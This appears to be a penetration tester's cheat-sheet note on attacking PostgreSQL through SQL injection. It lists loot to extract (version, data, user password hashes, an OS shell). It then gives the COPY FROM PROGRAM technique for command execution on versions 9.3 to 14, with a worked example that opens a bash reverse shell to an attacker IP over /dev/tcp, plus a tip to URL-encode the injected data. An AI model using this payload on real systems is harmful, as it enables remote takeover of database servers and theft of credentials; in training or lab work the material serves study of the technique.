Loot:
1. DBMS Version
2. Database Content
3. DBMS Users Password Hashes
4. OS Shell
OS Shell [ v9.3βv14 ]:
1. DROP TABLE IF EXISTS cmd_exec;
2. CREATE TABLE cmd_exec(cmd_output text);
3. COPY cmd_exec FROM PROGRAM '<cmd>'
For eg. COPY cmd_exec FROM PROGRAM 'bash -c "/bin/bash -l > /dev/tcp/10.10.14.12/7909 0<&1 2>&1"'
Note: single quotes needed for command. URL encode the whole POST/GET data.